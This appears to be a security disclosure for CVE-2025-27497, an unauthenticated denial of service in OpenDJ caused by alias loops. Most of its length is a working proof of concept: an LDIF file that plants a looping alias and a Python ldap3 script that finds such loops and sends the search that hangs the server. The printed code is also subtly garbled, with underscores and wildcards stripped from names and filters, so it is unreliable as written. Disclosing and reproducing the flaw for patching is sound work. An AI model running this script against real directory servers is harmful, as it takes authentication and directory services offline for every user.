CVE-2025-27497: OpenDJ Denial of Service (Dos) using alias loop

Summary A denial-of-service (DoS) vulnerability in OpenDJ has been discovered that causes the server to become unresponsive to all LDAP requests without crashing or restarting. This issue occurs when an alias loop exists in the LDAP database. If an ldapsearch request is executed with alias dereferencing set to "always" on this alias entry, the server stops responding to all future requests. I have confirmed this issue using the latest OpenDJ version (9.2), both with the official OpenDJ Docker image and a local OpenDJ server running on my Windows 10 machine.

Details An unauthenticated attacker can exploit this vulnerability using a single crafted ldapsearch request. Fortunately, the server can be restarted without data corruption. While this attack requires the existence of an alias loop, I am uncertain whether such loops can be easily created in specific environments or if the method can be adapted to execute other DoS attacks more easily.

PoC (Steps to Reproduce) 1. Set up an OpenDJ server instance as usual, using the base DN dc=example,dc=com 2. Import the attached exampledataaliasdos.ldif file into the LDAP database 3. Ensure that the ldap3 Python library is installed (pip install ldap3) 4. Run the attached Python script python opendjaliasdos.py, which searches for alias loops and executes the DoS attack 5. After executing the script, the server will stop responding to requests until it is restarted

Impact This vulnerability directly affects server availability for everyone using it. A single ldapsearch request on an alias loop entry can cause the entire server to become unresponsive, requiring a restart. The issue can be repeatedly triggered. The following response message is displayed on following requests: result: 80 Other (e.g., implementation specific) error text: com.sleepycat.je.EnvironmentFailureException: (JE 18.3.12) JAVAERROR: Java Error occurred, recovery may not be possible.

exampledataaliasdos.ldif dn: dc=example,dc=com objectClass: top objectClass: domain dc: example

dn: ou=people,dc=example,dc=com objectClass: top objectClass: organizationalUnit ou: people description: All users

dn: ou=students,ou=people,dc=example,dc=com objectClass: top objectClass: organizationalUnit ou: students description: All students

dn: uid=jd123,ou=students,ou=people,dc=example,dc=com objectClass: top objectClass: inetOrgPerson objectClass: organizationalPerson objectClass: person mail: jd123@example.com sn: Doe cn: John Doe givenName: John uid: jd123

dn: ou=employees,ou=people,dc=example,dc=com objectClass: top objectClass: organizationalUnit ou: employees description: All employees

dn: uid=jd123,ou=employees,ou=people,dc=example,dc=com objectClass: alias objectClass: top objectClass: extensibleObject aliasedObjectName: uid=jd123,ou=researchers,ou=people,dc=example,dc=com uid: jd123

dn: ou=researchers,ou=people,dc=example,dc=com objectClass: top objectClass: organizationalUnit ou: researchers description: All reasearchers

dn: uid=jd123,ou=researchers,ou=people,dc=example,dc=com objectClass: alias objectClass: top objectClass: extensibleObject aliasedObjectName: uid=jd123,ou=employees,ou=people,dc=example,dc=com uid: jd123

opendjaliasdos.py Python import argparse

from ldap3 import Server, Connection, ALL, DEREFNEVER, DEREFALWAYS from ldap3.core.exceptions import LDAPBindError, LDAPSocketOpenError

def connecttoldap(ip, port): try: server = Server(ip, port, getinfo=ALL) connection = Connection(server, autobind=True) return connection except (LDAPBindError, LDAPSocketOpenError) as e: print(f"Error connecting to LDAP server: {e}") return None

def findaliases(connection, basedn): try: searchfilter = "(objectClass=alias)" connection.search(basedn, searchfilter=searchfilter, dereferencealiases=DEREFNEVER, attributes=[""]) except Exception as e: print(f"Error during search: {e}")

aliases = {} for entry in connection.entries: entrydn = entry.entrydn entryalias = entry.aliasedObjectName.value aliases[entrydn] = entryalias

return aliases

def detectaliasloop(aliases): visited = set() path = set()

def dfs(alias): if alias in path: return alias if alias in visited: return None

path.add(alias) visited.add(alias)

aliasedtarget = aliases.get(alias) if aliasedtarget: result = dfs(aliasedtarget) if result: return result

path.remove(alias) return None

for alias in aliases: if alias not in visited: loopalias = dfs(alias) if loopalias: return loopalias

return None

def executedossearch(connection, loopingaliasdn): try: searchfilter = "(objectClass=)" connection.search(loopingaliasdn, searchfilter=searchfilter, dereferencealiases=DEREFALWAYS) except Exception as e: print(f"Error during search: {e}")

for entry in connection.entries: entrydn = entry.entrydn print(entrydn)

def main(): parser = argparse.ArgumentParser(description="Search LDAP for circular alias references.") parser.addargument("ip", type=str, nargs="?", default=None, help="The IP address of the LDAP server.") parser.addargument("port", type=int, nargs="?", default=None, help="The port of the LDAP server.") parser.addargument("base", type=str, nargs="?", default=None, help="The base DN of the LDAP server.") args = parser.parseargs()

if not args.ip: args.ip = input("Please enter the IP address of the LDAP server: ")

if not args.port: while True: try: portinput = input("Please enter the port of the LDAP server: ") args.port = int(portinput) break except ValueError: print("Invalid input. Please enter a valid integer for the port.")

if not args.base: args.base = input("Please enter the base DN of the LDAP server: ")

connection = connecttoldap(args.ip, args.port) if connection: aliases = findaliases(connection, args.base) loopingaliasdn = detectaliasloop(aliases) if loopingaliasdn: executedossearch(connection, loopingaliasdn) print(f"DOS executed with alias: {loopingaliasdn}") else: print("No looping alias DN found!") connection.unbind()

if name == "main": main()